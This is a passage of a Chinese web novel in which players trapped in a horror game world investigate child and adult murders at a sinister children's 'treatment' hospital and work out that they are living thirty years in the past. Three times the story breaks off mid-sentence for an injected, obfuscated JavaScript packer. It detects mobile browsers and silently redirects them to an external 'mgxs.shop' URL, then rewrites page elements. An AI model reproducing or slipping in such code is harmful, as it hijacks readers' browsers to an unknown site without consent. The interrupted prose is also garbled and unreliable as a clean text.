很快,所有人都聚集在了门外,他们已经习惯由隋舟查看尸体,这时候大家都想起了毕薪,想着她会不会和薛燥一样,和孩子死于同一夜,便准备去毕薪房间看看,却就在这时候,毕薪从自己卧室走了出来,只不过她精神状态显然比昨日更差,几乎已经呆滞。 不过此时此刻,这或许是好事,否则看到她负责的04号的模样,恐怕精神上会完全受不了,大家也没有去特意告诉她这件事,就由着她如同行尸走肉一般往餐厅走去。 等到所有人到达餐厅后,饭菜已经放置好。和上次一样,大家安排了小孩子坐一桌等他们自己吃饭,大人坐在另一桌,吃点东西垫肚子顺便商议线索和接下来的行动。 隋舟看了毕薪一眼,害怕等一会儿自己的言辞描述可能会让毕薪受不了,但是显然今天隋舟的担忧是多余的,因为毕薪依然只是呆呆地坐在位置上,机器人一般一口一口吃着稀饭。 于是也没藏着掖着,直接开了口:“这次04号的死亡方式乍一看和薛燥非常像。先是勒脖子,然后是剖心脏。但是奇怪的是,今天剖出的心脏却没有被损坏的痕迹。所以凶手的杀人手法是升级又降级的过程,这一点很不合理。” “确实……手法虽然大体上相同,但是又太多变了。”童思静扶了扶眼镜,睁着圆圆的眼睛说,“应该很少连环杀手这样吧!难道他也有某种规则?” “凶手会不会是某个NPC?”鲍芙迎问,“比如护士长或者其他护工是凶手。” “我觉得不会。”袁秉谦打断了她说道,“这次确实很多NPC,但是从目前来看,除了护士长,就没有哪个属于重要NPC范畴了,而护士长显然是向导作用,其他人则实在是太边缘了,放在游戏里就是连台词都没有,出场几秒钟的NPC,这样的角色设置成重要凶手角色,实在是不合常理。” “这位陆……陆先生……”童思静忽然开口喊了一声陆行。 陆行抬头看向她,他仿佛知道她要说什么似的,一个字也没说,只是静静等待着童思静接下来的问题。 童思静看着隔壁桌的孩子们,她又一次发现陆行的孩子不在,但是陆行过于淡定的神情又让她忐忑,便小心翼翼说道:“我并非多管闲事,但是昨天你的孩子没有下来吃饭,好像最后也没去治疗,今天……好像又是缺你的孩子呢?那孩子……真的没事儿吗?” 8. 人之初08 陆行啊了一声,仿佛想起什么似的说道:“睡觉呢,叫不醒。”说着他摊手低声道,“没关系吧,反正孩子在休息的时候大家就可以自由行动,睡着不是正好吗?” 话虽如此,但是孩子真的能一直这样睡觉吗?大家心中本能地对陆行的话感到怀疑,但是一时也顾不了别人,便不再继续这个话题。 来了这里一天两夜,已经死亡两个孩子一个大人,这件事让大家都很被动也很恐惧。而且从目前线索来看,无论是禁忌是什么,还是通行卡可能在的地方都毫无头绪,隋舟看大家都有些消沉,想起了昨晚他在档案室见到的女人,开口疏导:“或许……大家有谁昨天在找线索的时候,见过或者听过吴妄这个名字吗?” 隋舟本来以为这应当是一个重要的线索,至少应当有人能够在来了之后听过这个名字,可是大家却表示在来到这里之后、无论是证据搜索还是和NPC聊天,都从来没有见过或者听过这个名字。 “吴妄……是谁?”大家问。 隋舟便将昨夜自己去档案室遇到女人让自己帮忙救女儿的事情告诉了大家。 “可是奇怪,他只让你救人,可除了名字什么都没有告诉你。”袁秉谦分析,“而且既然用上了救这个字,那就说明这个叫吴妄的人出了什么事情。” “嗯。”隋舟思考,“或许这些人才是这次真正的重要NPC。” “那接下来大家的行动中除了寻找线索以外,还要多关注一下吴妄这两个字了。”童思静说,“如果那个女人就像护士长一样,是给我们发布主线任务的重要NPC的话,那么找到吴妄的真相,或许就能够找到通行卡了。” “而且,既然找到隋舟,也就是找我们这群玩家救的话,那么说明这个叫吴妄的至少应该是这里的人才对。大家把思维放宽泛一点,无论是病人还是医生或者后勤人员都有可能。” 童思静侧头看了几次随舟,最后她犹豫地问:“隋先生,你今天去探索哪里?” 隋舟回答:“我还想再去一趟东楼档案室。” “我和你一起吧。”童思静犹豫地说道,“我……正好有一桩事,想要跟你商量。” 隋舟有些意外,有事想和自己商量?这个说法让他有些好奇,便点头答应了。 袁秉谦好似从刚才的结论中恢复了理智,做起了安排:“那让毕薪在卧室休息吧,她这个样子出去更加危险。” 童思静答应了,对隋舟说道:“你等等我,我把毕薪安顿好就来。” 吴崂早早就站在了陆行旁边说:“老大,今天我还和你一组。” 陆行没看他,也没说话。但是吴崂好似很清楚自己这位老大的冷酷,并不往心里去。 袁秉谦最后说:“那鲍女士,你就和我一起吧,我今天准备再去查看一下治疗室,你昨天去过,正好我们再看一下细节。” 鲍芙迎点头:“叫我名字就好,我都可以,听你们的安排。” “好。时间又过去了一天,我们要加快进度了。”袁秉谦说,“还是天黑前回到这里集合。” 接下来七人便按照计划开始行动。 隋舟和童思静一起来到了档案馆。档案室一进门就是一张桌子和凳子,想来应当是档案室管理员的位置,昨夜那个女人也说自己在这里上班,但是这档案室怎么看都应当是没有安排专人管理才对,而且此时此刻这个位置也确实空着。 但是还好,虽然无人管理,但是资料放得满满当当。 两人只好先大致收拾整理了一下。整理的时候,隋舟问童思静:“对了,你说有事情跟我商量,是什么事情?” 童思静听到后笑了笑:“有一件小事,我想请你帮帮忙。” 隋舟回复一个礼貌笑容:“你说说。” “我那个小孩,就是08号。他很喜欢芭比手表。”童思静好像脑海里在想着什么,脸上露出温柔的笑容,“可是这里只有女孩才有。所以……” “所以你想要01号的芭比手表给08号?”隋舟问。 童思静笑着摇头:“只是借几天,让他尝试一下就可以了,他会很开心的。而且……” 童思静说完后却忽然停了。 隋舟:“而且什么?” 童思静仿佛又静静思考了一下:“嗯,暂时只是一些猜想,还需要证实一下,如果真如我所想,一经确定我会告诉大家的。” 隋舟思考了一下,点头道:“我回去和01号商量一下,毕竟是她的手表。” 童思静听到却很开心:“好!” 两人安静下来,认真查看资料。 “奇怪。”童思静发现了什么说道:“怎么这些员工资料里面,日期的部分全都模糊了?” 隋舟也早已发现,说道:“说起来,好像到了这里确实没有看日期的地方。” “你看,这些资料内容很清晰,唯独看不清日期。”童思静将手中的资料递给隋舟。 隋舟低头看去,资料上是一个女孩,是一张陌生的脸,她敢保证从进入这里没有见过这个长相的人,而这并非偶然,甚至他们目前碰到的每一个员工,无论是护士们还是医院后勤员工们,没有一个和他们见过的人相同。 “他们工作的时间都很短。”隋舟指着童思静递过来的资料备注那里,“每个人这里都写着工龄,从入职到离职的时间都非常短,变动很大。” “他们全都辞职了?”童思静思考,“看来这里应当是发生过什么事情,或者这里有什么问题,所以这些员工全都工作时间不长就离职了。” “或许和凶杀案有关系。”隋舟想着那几具尸体,那样的行凶手法,说明这个凶手并非新手,反而是一定有很丰富的经验了。 童思静也表示认同:“或许就跟我们一样,来了之后就被人杀害,离奇死亡,其余人被吓到了,就离职了。” 隋舟想到那死亡的那些尸体,护士长也说经常发生凶杀案,说明在他们来之前这里就已经经常出现有人死亡的事情。他又想到了最近死亡的几具尸体,陷入沉思…… “想什么呢?”童思静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164074|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘿了一声,问隋舟。 隋舟恍然,镇定地回答:“我在想,如果有准确的时间就好了。” “什么准确的时间?”童思静以为在说这些离职的员工,有些迷惑。 隋舟回答:“就是死亡的玩家和小孩,如果有非常准确的死亡时间就好了,或许能够通过时间来排除一些人,排除后剩下的,就可以锁定嫌疑人了。” 童思静点头表示认同:“说起时间,这里倒是墙上随处都挂着钟表,但就是没有日记挂历一类可以查看日期的地方。手机这项功能也失灵了。” 两人一边探讨着一边查阅着所有的资料,不知不觉,天黑了下来。 “你发现没有?”隋舟看向窗外,“今天天黑得比昨天早,现在才七点。” 童思静放下手中的资料说:“发现了,我们赶紧看完回去了,估计护士长要把孩子们送回宿舍了。” 两人再次加快了查看的速度,忽然童思静举着一张报纸大声喊道:“隋舟快看!” “有发现?”隋舟问。 童思静睁大了眼睛一脸惊恐回答:“对!你快看。” 隋舟接过报纸,顿时眼神一变,只见那报纸上硕大的标题写道:变态杀人狂猖狂出没,女孩被杀抛-尸河边! 具体内容就是讲了在幽云市出现了一个连环杀人犯,不仅开膛剖胸,甚至还拿走人体组织,最新在河边发现女孩尸体已经是第7具尸体。女孩吴某,22岁,某大学生。最后报道让广大市民小心谨慎,注意安全。 “吴某……”童思静喃喃:“是吴妄吗?” “如果是她,那就太不合理了。”隋舟皱眉道,“……如果吴妄已经死了,她母亲要我们怎么救她呢?既然已经死了,说明这是一个根本不可能完成的任务。” 这个问题两人都暂时没有想通,随着天黑的到来,两人决定先回宿舍,以后再继续思考。 两人到达宿舍的时候,天已经黑了好一会儿了,他们到达饭厅时,看到里面一个人也没有,两个人直觉出事了,赶紧往宿舍跑去,就看到一群人围在毕薪房间里。 袁秉谦看他们出现,简单说道:“我们也刚上来,毕薪死了。” 这一次,凶手杀人手法竟然又一次升级了! 毕薪的尸体和她负责的孩子04号一样,脖子上一圈红印,这次凶手手法利落许多,一刀刺入心脏,然后剖开胸膛取出心脏,这一次,心脏被破坏的部分更多,不规则痕迹更大了。 隋舟赶紧进去查看了一番,对大家说道:“心脏上的不规则缺口,之前我不是说不像利刃破坏的,但是当时因为破坏的很少,面积也小,所以我无法确认,但是现在我可以肯定是什么弄的了。” “是什么?” “牙齿。”隋舟道:“是被啃噬留下的咬痕。” 众人听到后,心理都感受到了不小的冲击。 “什么啃的?”吴崂小心翼翼地问。 隋舟盯着那被啃掉好几块的心脏,皱着眉说:“我没判断错的话,是人的牙印。” 9. 人之初09 听到这个答案,众人顿时心中感觉一股恶寒…… “不过……如果是这样说的话,我觉得凶手恐怕不在玩家之中。”陆行忽然啧了啧舌,一脸难以置信地说:“我实在难以想象你们中有谁喜欢生吃心脏……” 大家:“……” 隋舟感觉不到大家的诡异氛围,继续冷静地分析道:“尸斑不明显、角膜透明、口唇湿润,以及尸体尚有余温。毕薪刚刚才死亡,我想,或许就在你们上来之前不久………” “啊?”童思静有些惊讶,“时间这么紧,凶手竟然还能开膛剖心,还能啃食?” 隋舟有些心不在焉地回答,也正因为心不在焉,声音无力带着一丝沙哑:“或许你说反了,不如说,时间这么紧张,凶手都要开膛啃食心脏,看来吃心这件事对于凶手来说……相当重要啊……” 因为前两具尸体后来都是不知不觉地消失了,隋舟都无法进行二次验证,所以这次他拿出手机,对着毕薪的尸体拍了几张照片。 孩子们也还没吃晚饭,都闹着饿了。大家只好带着孩子们回到了主楼的饭厅——早晚饭用餐点俨然已经成为他们每天集中讨论的地方。 袁秉谦依然作为主持人,努力忽略毕薪死亡带来的冲击,让大家首先分享今日的探索和发现。陆行对着吴崂扬了扬下巴,示意他来说——这两人显然已经成为了队友。 吴崂作为小弟,自然愿意帮大师分担,认真地讲解了他们今日的收获。他和陆行首先在门诊大厅坐着观察了一会儿,门诊大厅就在他们这栋主楼一楼,但确实因为是主楼反而被他们忽略,此时听说他俩在这里待了一会儿便等待着有何发现。 “什么都没有,唯一看出来这医院生意是不太好。”吴崂耸肩瘪嘴:“我们在这待了两个小时,反正也没看到什么病人。感觉这里就只有这八个小病人似的。” 听到这句话,隋舟想起档案室遇到的那个小孩,那是个小女孩,有着一双又黑又亮的大眼睛。她的身份是什么?又为什么在这里呢? “……然后,我们又去了医院的员工宿舍,主要是负责后勤保障的一些工作人员住的,那里没有任何收获,可以说那里的NPC就真的是低级NPC,问的问题稍微复杂点,就不带理人了。”吴崂依然在继续介绍着他们今天的探索行程,“这些地方以后就可以少花时间,甚至不用去了。其他就没有了,其他地方想着有人去,我们就没再去,直接回来了。” 在座的其他人听完后脸色都不太好,这一组连续两天回来都没有带来什么有效线索,这已经让人不得不怀疑他们有所隐瞒了。 袁秉谦也皱着眉,但是他是个老好人,自然是没有多说,介绍起自己和鲍芙迎今天的探索情况。他表示,他们两人今天主要是看了治疗室,其他地方都没去。因为鲍芙迎前一天去过,所以今天他们特别注意,总体上来说非常顺利,在治疗室潜伏时间很长,而且有一定的收获。 “你们昨天提到的几个孩子的所谓的治疗手段,我们基本都搞清楚了。我来挨着介绍一下情况。首先,是08号,童思静负责的男孩。” 大家都被袁秉谦的话吸引,不自觉地认真聆听起来。 “08号,昨天隋舟和鲍芙迎看到的是他被脱-光了衣服站在镜子前,旁边放着一个喇叭,但是你们没听清说的什么,我们今天想办法听到了,那里面播放的全都是辱骂性的词语,基本上你们听过的没听过的难听的话,全都骂过了。” 众人一愣,他们想过许多种可能性,但是都没有想到过那喇叭里放的竟然是辱骂的话语?他还只是个十岁的孩子啊?!为什么要这样辱骂他? 袁秉谦没有给大家讨论的时间,抓紧继续说道:“你们昨天看的第二个,04号毕薪的孩子,因为已经死亡,这个房间今日是06号,也就是吴崂的孩子,小女孩的脑袋上贴着许多线路,我们经过仔细观察,认为对她是在进行电击治疗。第三个两个男护工猛烈地抽打02号,今日依然如此,但是我暂时没弄清楚打他的原因。第四个隋舟负责的女孩,01-号,我们发现医生们拿着小刀在她手臂割了一些口子,我猜测可能是某种非常落后的放血治疗手段。看到这里的时候,天已经快要黑了,我们只好先回来了,所以没有看到我负责的孩子,另外,陆行负责的孩子依然没有参与治疗,应该是一整天都在宿舍睡觉吧。” 袁秉谦显然是故意说出来的,陆行孩子从昨天开始就一直在睡觉,睡到现在,显然不太正常! 陆行却仿佛没听出来这弦外之音,只是随意地点了一下头说:“确实是睡了一天”。 隋舟看着陆行,面对袁秉谦直白的问话,他甚至眉毛都没有动一下,他不理解世界上竟然有人可以当着这么多人的面一本正经的胡说八道……总之,这个人很危险,隋舟警告自己,一定要离他越远越好…… “童思静,你来说说我们的情况?”隋舟本来也没指望能从那个冷漠男人嘴里听到什么有用的东西,便转头看向童思静。 童思静也没有推辞,点点头便将今天他和隋舟外出的情况说了出来。 当她讲完之后,拿出了那张报道了吴妄已经死亡的报纸,大家看了之后脸色都有些凝重。 “奇怪啊,这个吴妄的母亲,应该是类似于护士长一类的重要角色,她发布的任务是让我们救吴妄,但是,吴妄已经死亡了,要如何救一个已经死亡的人呢? “确实,游戏不会发布不可能完成的任务,这里一定有点什么问题。” 童思静点头:“我和隋舟对于这一点也感到奇怪,所以一定有什么地方我们疏忽了。” 众人沉思半晌,却毫无头绪。 “既然大家都没有头绪,不如讨论一下死亡规则吧。” 说这句话的人不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164075|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁秉谦,反而是陆行。 他虽然看起来难以捉摸,但是老实说他算是很低调的一类人,到了这里几乎从未主动挑起话题,听到他的主动提议,大家都有些惊讶。于是他补充说道:“死了两大两小了,大家应该多少也猜测了一点死亡规则了才对。” 所有人都看得出来,陆行这个人隐藏得很深,吴崂选择他是对的,因为从他对副本的了解来看,他应当是个高手。 “陆先生说得对,确实可以讨论一下死亡规则的事了。”袁秉谦虽然不太喜欢这位姓陆的先生,但是不得不承认他的提议是正确的。 “其实,关于这件事,我确实有一些想法。”最先开口的竟然是鲍芙迎,她说完话紧接着咳嗽了几声,又深呼吸了几次才接着慢慢说道:“第一天晚上是薛燥的小孩先死亡,薛燥晚2小时左右死亡。第二天晚上是毕薪的小孩死亡,第三天的下午毕薪死亡……都是小孩先死亡,大人再死亡。”鲍芙迎弱弱开口,“我觉得……是不是小孩死亡,就是玩家死亡的原因?” “嗯……有道理。”袁秉谦赞同道,“本次副本与其说是八个玩家,不如说是十六个玩家,因为那八个小孩既是NPC,又和我们几个联系紧密,所以确实是有这个可能的,如果真的如此,我们只要能阻止小孩死亡,大人也就可以避免死亡了。” “我也赞同。”吴崂开口,“而且死亡的都是一一对应的,大概率就是小孩死亡之后,与之对应的大人就会死亡。” 隋舟想了想提出疑问:“假设小孩死亡——对应大人死亡这个规则是正确的,那么我们研究规则的重点,就应该是——小孩的死亡规则是什么?要怎么才能阻止小孩死亡?” 大家都沉默了,或许有些人心中有一些猜想,但都是没有凭据的猜想,这时候提出来也很难得到大家支持。 “小孩的死亡规则……”童思静说道,“会不会和玩家无关?是小孩自己触碰了某种规则,导致了自己的死亡?大家也能看出来,这些小孩和一般的NPC不一样,他们有一部分玩家属性。” “这样吧,到现在我们也只能总结出来这一点,姑且认为是正确的,玩家的死亡条件是——所负责的小孩死亡!这种规则,宁可猜错也不要大意,所以,我们从现在开始需要保证小孩不能死亡。”袁秉谦总结道,“大家从现在开始就仔细观察自家孩子有些什么行为,作为下一次的分析。” 陆行提出讨论,但是自己却不加入,大家讨论完,他竟又继续开了口提议:“那么,接下来讨论第二个问题吧。” “你怎么了?”童思静似乎不太理解这个人,“今天这么多意见和建议?” “不应该吗?”陆行无所谓地靠在椅背,明明大家都是玩家,但是他却像个上位者似的,说得坦然而肯定:“时间过去三分之一、人员死亡三分之一,不再讨论点重点的,就只能团灭在这里了。” 10. 人之初10 众人一时无语。这个人总是态度恶劣地说着正确的话。 “第二个问题…”袁秉谦知道陆行的意思,他只是有些恍惚,确实,许多人进入游戏之后,因为一直扮演着角色,跟着安排的剧情和线索走,常常走着走着就忘却了最重要的东西,忘记了他们在这里的最终目的——“你想说的是,寻找新的通行卡吧。” 被袁秉谦点出来了,大家也就明白了,除了隋舟。 他用手戳了戳童思静的手臂问:“通行卡怎么了?大家不是都有吗?” 童思静愣了一下,然后大张嘴巴:“你是新人?” 随舟立即嘘了一声,露出讨好的笑容:“小声、小声一点…” 童思静仿佛陷入了回忆,然后她一脸震惊地摇头:“从你的表现来看,真是难以置信。”说完她反应过来问题,小声回答:“每一局都有新的通行卡,找到了本局副本的通行卡,才能从这里离开。” 新的通行卡?隋舟还来不及细想,袁秉谦的声音响起。 “陆先生说得是对的,我们是应该讨论一下,在这个副本里,出去的通行卡到底有可能在哪里?一般来说通行卡会出现在副本最核心的地方,换句话说,我们首先需要找到这个副本的核心故事,到底是什么?核心人物,到底是谁?” “可是现在线索太少了。”童思静摇头,“如果重点放在小孩的话,我想我们现在可以从小孩子的治疗方式里推测出来一点,那就是这个所谓的医院并非通常所说的治疗疾病的医院。我想,应当是更加类似于改造父母心中“不完美小孩”的改造中心。” 这一点,大家在听到小孩治疗方式的时候,基本上都想到了。 每个小孩都一定有些家长无法接受的坏习惯,然后孩子们被送到这里改造。 鲍芙迎说道:“说得很对,但是重点也可能是这里发生的凶杀案,别忘了一来到这里护士长就提到了他们这里总是有人死亡。所以,我觉得通行卡可能和这里案件有关,或许找到凶手就能知晓通行卡在哪里。” 袁秉谦点头思索,然后看向隋舟,说道:“如果从隋先生遇到的吴妄母亲这条线出发,那么通行卡也极有可能和这位叫作吴妄的死亡案件有关系。” “死亡案件……”隋舟微微蹙眉,半晌缓缓说道,“会不会吴妄就是死在了这里?这样的话,吴妄死亡案件和玩家小孩死亡案其实是可以并案,凶手也是同一人呢?” 隋舟此话一出,众人都感觉到了这种可能性很大,童思静说道:“很有可能,不然为什么吴妄的妈妈要特意找到医院里来找我们救她呢?” “那么总结一下,弄清楚这些小孩在这里的故事背景,和找到杀人凶手,就是目前我们需要做的事情了。关于副本故事线的线索还是太少了,姑且按照大家分析得来考虑吧,后续有新的线索大家再更新。对了,隋先生。”袁秉谦对隋舟说道,“可否再看一下你的通行卡,我想那提示语一定不会是看起来那么简单,我们再一起商议一下。” 一行人分析了一会儿提示语,依然没有收获,眼看夜深,孩子们都闹着要回去睡觉了,大家便只能带着孩子各自回到宿舍。 隋舟把01号带回宿舍,给他读了一会儿故事后,便睡着了。隋舟给01号压了压被角后就起身准备回房间,却发现01号皱着眉头,睡得不安稳的样子。 隋舟想到前一天,01号被05号按在墙角拳打脚踢的样子,感到一丝迷惑。他不明白,小孩子之间,怎么会有这么大的恨意?如果不是恨,又是什么原因会让一个小孩对另一个孩子拳脚相向。 他又仔细查看了一下,01号额头有着细密的汗水,他没照顾过小孩,但也感觉不太对,于是将手背放在01号额头试了一下,发现她体温高得可怕。 隋舟回忆了一下,第一天晚上来的时候,护士长就提到一定要照顾好小孩,或许“照顾好”是一个硬性条件,看来他今晚必须要想办法让01号体温降下来。 还好,他白天在治疗楼的一楼大厅墙壁看到了医院分布图,他当时瞄了一眼,虽然看得不仔细,但是他记得药房就在他们这栋门诊楼的一楼最里面,虽然天色已暗,但是还没到深夜,他要赶紧去拿一点退烧药,下定决心后隋舟便立即出门下了楼。 夜晚,医院里到处都关了灯,只在前院有两三盏路灯亮着微弱的光,楼梯上除了绿油油的安全出口标识,什么都看不清。虽然他试过手机电筒功能可以使用,但是黑暗中的亮光,除了让自己成为靶子没有任何作用,所以他也就继续摸黑前行。好的是,眼睛适应了黑暗后,可以看清一点眼前的路了。 可是让他惊讶的是,走到大厅最里面的时候,他发现药房的灯竟然亮着,有人在里面。 他悄悄地走了进去,药房并不大,他进去之后将每个架子后面看了,却没看到人。就在他觉得奇怪的时候,后背突然被什么硬物抵住,同时身后传来一个冷淡的声音:“很巧”。 隋舟听到那声音的第一瞬间就皱起了眉头,还没回头就开口说道:“确实巧,不知道陆先生半夜在药房干什么呢?” 背后的人好像在思考什么,但思考得并不久,很快就再次开了口:“可以告诉你,但对于我有什么好处?” “我有重要线索。”隋舟一边说着一边往前一步然后缓缓回头,露出一副纯真的笑容,像个天真的学生一般,轻快的声音问,“可以告诉你,怎么样?。” 陆行本在药房找东西,突然有人进来,发现是隋舟之后已经放了心,随便两句话倒是没想到炸出来点东西。 “告诉我?”陆行也退后一步,淡淡地问道。 “不相信吗?很简单……”警报解除,隋舟放松了下来,像个软骨病一般抱臂斜靠在旁边书架,应道,“你只要拿线索来换就可以了。比如…你现在在这里找什么?或者你白天在花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164076|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 园发现了什么……之类的,我不挑。” 陆行冷笑了一声:“告诉你倒是很简单,可是,我觉得你目前手上没有什么特别有价值的线索值得我来交换。” 隋舟被看穿一时有些恼怒,却又听到陆行说:“所以约定暂且保留,等你有了重要线索,我们再交换。” 隋舟思考了一下,认为这个交易还算公平,嗯了一声算是答应,便不再与他纠缠,转身开始在药架子上翻找起来,他需要一些儿童的退烧贴或者退烧药。 陆行没有问他找什么,他自然也不便再问陆行,两人就这样一时沉默,各自翻找。 很快,隋舟就在第三个架子上找到了一小瓶儿童退烧药,他习惯性拿起查看详细服用说明,一眼瞥到了瓶盖边缘模糊的黑色日期,蓦地怔住,他反复仔细看了那串小小的黑色的数字,然后立即又查看架子上其他药品的瓶盖上的黑色数字。 “怎么会!”隋舟小声嘀咕着,一瓶一瓶查看的速度越来越快,他一阵头皮发麻… “怎么?”陆行听到隋舟动静不小,回头看了过去,发现隋舟在看的东西后又恢复冷漠的态度,“这么小个发现,脸竟白成这样?” 陆行放下手中的东西,缓慢踱步到隋舟旁边,忽然说:“你是新手?” 隋舟懒得理他,继续挨着挨着查看。 陆行阻止:“不用看了,都一样的。” “怎么可能?”隋舟终于是抬头看向了陆行,“这些药生产日期——怎么都是三十年前的?” 陆行耸肩:“对啊,全部都是。” “这里到底是什么地方?”隋舟实在疑惑,“这些药……所以他们一直给这些孩子服用三十年前的药物?可目的是什么?” 陆行仿佛在思考,这一次他没有如平常那样反问,反而直接做出了回答:“你说得对,他们一直给这些孩子服用过期三十年的药物,不过这只是其中一种可能性……” 隋舟愣了一下:“其中一种可能性?” 陆行挑眉,右手摸了摸额头的伤疤,沉思了一会儿才说;“对,除此以外,还有一种可能,你再想想。” 隋舟蹙眉思考……这里不是普通的世界,而是一个有妖魔鬼怪,有杀人规则的怪谈世界,他第一次进入这里不过才短短一天,还没有摆脱现实世界侦探案件的严谨思维。如果将思维打开,再大胆一点就很容易得出另一种可能性,隋舟忽然全身起了一层鸡皮疙瘩……真的有这种可能吗?那实在是有些超出他的想象了! 他缓缓抬头看向陆行:“你说得对,还有一种可能性……药并非三十年前的,而是我们所处的现在,本就是三十年前!” 陆行勾了勾嘴角,几乎是露出了来到这里的第一个生动的表情,他仿佛觉得这很有趣,盯着隋舟,缓缓补充道:“考虑到药的保质期在2~3年,所以严谨一点地说,我们现在所处的是27~33年前的某一年。” 11. 人之初11 隋舟忽然想起他和童思静在档案室的讨论,当时他们就看不见档案上的年月日:“来到这里之后我确实疑惑过,这里只有钟表,却从未见到任何日期,甚至我们手机上日历功能也无法使用。而且这里的建筑又处处透着老旧,我原本以为是这种恐怖世界本来的特色或者是治疗中心这些年未修缮维护过造成的。 隋舟盯着手中的退烧药药瓶,他感到这一切很是扭曲和诡异,他猛地想起了姜梦蝶,她也经历了这一切吗? ——血腥的死亡,错乱的时空,诡异的人员,狡猾的队友……那她的结局为什么是那样的死亡呢?是因为这个地方吗? 思及此处,隋舟抬头望向陆行,不知何时,他已踱步到窗边,又仔细望向花园的方向,仿佛陷入了思考一般,一动不动。 “你说得对。”隋舟打断了陆行的思绪。 陆行回头:“什么?” “我确实是新人。”一直装老人是怕老玩家把新人当靶子,但是却也损失了许多问问题了解这里的机会,眼前这人显然是个独行侠,只告诉他一人或许可以达到自己想要的两重目的,隋舟继续说,“所以,我有一个问题想请教一下老玩家。” 陆行对他是新人这一点果然是毫无疑问,眉毛都没带动一下问,“什么问题?” 隋舟也不再多解释,抛出了自己的问题:“在这里死去的人,在现实中会怎么样?” 他永远记得自己见到姜梦蝶死亡时的样子。 彼时,姜梦蝶正参演了一部民国戏,她身穿一袭旗袍静静地坐在中式庭院中的一个躺椅上,静静地闭上了眼。 她的身旁小几上放着一个骷髅形态的泡泡机,那骷髅泡泡机器正在动着,骷髅的手将手柄放进肥皂水,然后伸出来,一阵风吹来,五彩的泡泡漫天飞扬,仿佛那骷髅吹出了一个个泡泡一般。 “在这里死去的人,在现实中也会死吗?会怎样死去呢?”隋舟声音有些颤抖。 陆行看向隋舟,他感觉到了一点不同的地方,他第一次在这双黑沉无光的双眸中看到点点闪光,他不是很明白为什么。 不过对于这个人提出的问题,答案倒是非常简单,他一摊手随意说道:“在副本里死了,现实世界就失踪了。” 隋舟一愣:“失踪?” 隋舟有些纳闷……失踪……如果这里和现实世界有关系,那么死在这里也应当有尸体出现在现实世界,如果这里和现实世界无关联,那么失踪又是怎么做到的? “这里到底是什么地方?这里存在的目的又到底是什么?”隋舟这两天没有休息好,又用脑过度,情绪紧张过度,导致整个人都绷得特别紧。 陆行右手摸着自己额头的疤痕,反问:“猜一猜吧,你感觉这种空间、这种游戏,存在的意义会是什么?” “或许这里是……鬼的世界?”隋舟说,“姜……我有一个姐姐,她因为职业的关系,常看各类……额……小说,我知道有一种类型的小说就是一些冤死的鬼魂,因为怨念深重,这些怨念常年堆积在某个地方,久而久之,这个地方便出现了许多无法解释的恐怖现象,甚至形成一些怪谈,然后一些人被卷入这样的怪谈地界后,通过自己的推理和才能活下去的故事。” “没想到你给的是这样的答案。”陆行扯了扯嘴角,也看不出来是笑还是没笑,又问,“那意义呢?” “消解那些恶鬼的怨念,让他们尘归尘土归土” “你说的是对于故事里的人,或者说NPC的意义。”陆兴盯着隋舟黑沉沉的眼睛,“我是说对于我们,也就是所谓的玩家,有什么意义?” “这些不都是我问你的吗?”隋舟不想回答,况且他也不知道。他要是知道,还需要问他吗? 陆行耸肩:“在这里缺乏想象力可不太好。” “那你说一个充满想象力的答案。” “我也缺乏想象力。” “……” “不过,我并不在意。” 隋舟纳闷:“不在意?” “嗯。这里是什么,或者这里存在的意义、目的等等,我都不在意。” 陆行从窗户望向外面的院落,又像是看到很远的地方,慢悠悠说: “一般情况下,演员可以分为经验派和体验派,体验派就是完全成为故事里的角色,跟着故事走,这种的好处就是沉浸式体验,完全能够融入故事,爆发出自己都不知道的能量。经验派就是作为上帝,飞在空中,一直看着自己演的那个角色,不仅可能从角色出发,甚至还可以考虑观众看到的感受和故事创作者的用意。 某种意义上,我们也正如演员演戏一般,在这个故事里扮演角色,有些玩家是体验派,完全跟随着剧本告知的剧情来走,而有些玩家却是经验派,是角色、是自己、也是探索真相的侦探。” “所以你是体验派?”隋舟问,“但是……这个剧本是谁写的?编剧是谁?导演是谁?监制是谁?你觉得如今科技有这样的能量吗?或许背后的力量是那些鳢魅魍魉?你难道不好奇?” “所以你是经验派。”陆行似有无奈:“而我不在乎是谁做了这样的局,我只知道,不管游戏是谁设计的,是神仙?是鬼魅?还是更高的科学……只要是游戏,只要创作者热爱“它”的作品,为了游戏成为一个合格甚至“好玩”的游戏,就一定要给出符合NPC和玩家双方的规则,只要有规则,我们就可以游走在规则之中,完成这一切,至于其他的,我不知道也并不想知道。” 